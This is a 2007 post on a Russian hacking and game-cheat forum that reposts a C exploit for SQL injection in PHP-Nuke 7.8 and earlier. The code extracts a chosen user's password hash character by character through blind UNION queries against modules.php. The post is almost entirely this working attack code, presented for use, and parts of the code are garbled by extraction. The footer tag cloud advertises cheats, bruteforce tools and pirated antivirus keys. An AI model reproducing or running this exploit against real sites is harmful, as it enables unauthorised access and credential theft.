Forum AoA- Хакерство, Читерство, Взлом Онлайн Игр.Баги боты и читы в  la2-WoW-CS-RF-PW. Все о Безопасности в Сети...  
   

Вернуться   Forum AoA- Хакерство, Читерство, Взлом Онлайн Игр.Баги боты и читы в la2-WoW-CS-RF-PW. Все о Безопасности в Сети... > Underground > Хакерство и Безопасность > Уязвимости веб приложений

Уязвимости веб приложений Уязвимости и защита порталов, сайтов, вебприложений

Ответ
 
LinkBack Опции темы Опции просмотра
Старый 16.11.2007   #1 (permalink)
SystemError
© AoA Team
 
Регистрация: 14.11.2007
Сообщений: 166
Вы сказали Спасибо: 2
Поблагодарили 6 раз(а) в 5 сообщениях
Андрюха на пути к лучшему
По умолчанию Инъекция phpnuke 7.8

PHP-Nuke <= 7.8 SQL injection exploit
PHP код:
/*********************************************** 
* PHP-Nuke <=7.8 SQL injection exploit 
* need MySQL > 4.0 
* (c)oded by 1dt.w0lf 
* RST/GHC 
* http://rst.void.ru 
* http://ghc.ru 
************************************************/ 
// tested on 7.8 
#include <stdio.h> 
#include <string.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <netdb.h> 
#include <regex.h> 
#define START 47 
#define END 103 
#define SZ 1024 
#define PORT 80 
#define PREFIX "nuke_" 
#define SQL "name=PHP-Nuke%%207.8%%20Exploit'%%20UNION%%20SELECT%%201,1%%20FROM%%20%susers%%20WHERE%%20user_id=%d%%20AND%%20ascii(substring(user_password,%d,1))%c%d/*" 
  
main (int argcchar **argv) { 
int pos
int res 0
char result[33]; 

if(
argc<4

printf("Usage %s [host] [/folder/] [user_id]\n",argv[0]); 
exit(
1); 


printf("PHP-Nuke <= 7.8 SQL injection exploit\n" 
"-------------------------------------\n" 
"[~] Host : %s\n[~] Folder: %s\n" 
"[!] Searching password for user with id : %d\n" 
"[!] Please wait...\n"
,argv[1],argv[2],atoi(argv[3]));  
for(
pos=1;pos<33;pos++) 
{  
found(argv[1],argv[2],atoi(argv[3]),START,END,pos,&res);  
sprintf(result+pos-1,"%c",res); 
if(
res == 0) { break; } 

result[33] = '\0'
if(
strlen(result)>0printf("[+] Password: %s\n",result); 
else 
printf("[-] Password not found\n"); 
exit (
0); 

int found(char hostchar folderint user_idint minint maxint posint res

int i
int sr = (max - ((max-min)/2)); 
if( (
max-min) < ) { i=(brute(host,folder,user_id,min,max,pos)); *res i; } 
else if( (
check(host,folder,pos,'>',sr,user_id)) == ) { found(host,folder,user_id,sr,max,pos,res); } 
else { 
found(host,folder,user_id,min,sr,pos,res); }  
return 
0

int brute(char hostchar folderint user_idint minint maxint pos
{  
int i
for(
i=min-1;i<max+1;i++) 

if((
check(host,folder,pos,'=',iuser_id)) == 1) { return i; } 

return 
0;  
}  

int check(char hostchar folderint posint chkint testint user_id

char req[SZ];  
char ans[SZ]; 
char sql[SZ]; 
int sock
struct hostent *hp
struct sockaddr_in sin
regex_t re
char *pattern "Sorry, this Module isn't active!"

if( (
sock socket (AF_INETSOCK_STREAM0)) < 

printf("[ ERROR ] Can't create socket!\n"); 
exit(
1); 
}  

if( (
regcomp( &repatternREG_EXTENDED )) != 

printf("[ ERROR ] REG ERROR!\n"); 
exit(
1); 


bzero(&sinsizeof(sin)); 
sin.sin_family AF_INET
sin.sin_port htons(PORT); 
hp gethostbyname (host); 

memcpy ((char *)&sin.sin_addr,hp->h_addr,hp->h_length); 
connect (sock, (struct sockaddr *)&sinsizeof(sin));  

bzero(req,sizeof(req)); 
bzero(ans,sizeof(ans)); 
bzero(sql,sizeof(sql));  

snprintf(sql,SZ-1,SQL,PREFIX,user_id,pos,chk,test);  

snprintf(req,SZ-1,"POST %smodules.php HTTP/1.0\n" 
"Host: %s\n" 
"Content-Type: application/x-www-form-urlencoded\n" 
"Content-Length: %d\n\n" 
"%s\n\n\n"

folder
host
strlen(sql), 
sql); 

write(sockreqstrlen(req)); 
while( (
read(sock, &ansSZ-1)) > 

if( (
regexec( &reans0NULL0)) == 0) { return 0; } 
bzero(ans,sizeof(ans)); 
}  
close (sock);  
return 
1;  

Андрюха вне форума  
Ответить с цитированием

Реклама=\
Ответ

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Trackbacks are Выкл.
Pingbacks are Вкл.
Refbacks are Вкл.

Быстрый переход

   

Часовой пояс GMT +1, время: 22:04.

Rambler's Top100 Рейтинг@Mail.ru
Работает на юкозе
Copyright ©2006- 2009, AoA Team. Перевод: zCarot
Это 100 самых популярных запросов гуглаюзверей
Подвальная Туча Тегов
bruteforce скачать fighter fx 7.2 l2onix l2ranger la2world panda antivirus 2008 ключ panda antivirus 2008 ключи perfect world hack perfect world баги perfect world бот perfect world взлом perfect world читы perfect world читы на деньги pw бот pwmp2 rf online читы vksovety vksovety скачать wallhack wow сервера х10000 wpe pro баги perfect world баги в perfect world бот для perfect world бот для pw бот на perfect world боты для perfect world боты для pw взлом perfect world взлом perfect world на деньги взлом perfect world на опыт взлом pw взлом игры perfect world взлом онлайн игр дюп адены как взломать perfect world квест на волка ключ для panda antivirus 2008 скачать bruteforce скачать бота для perfect world скачать сервер perfect world скачать читы для cs 1.6 травиан читы цветной ник в garena читы perfect world читы для cs 1.6 читы для garena читы для perfect world читы для pw читы на perfect world
----------------------------------------------------------------------------------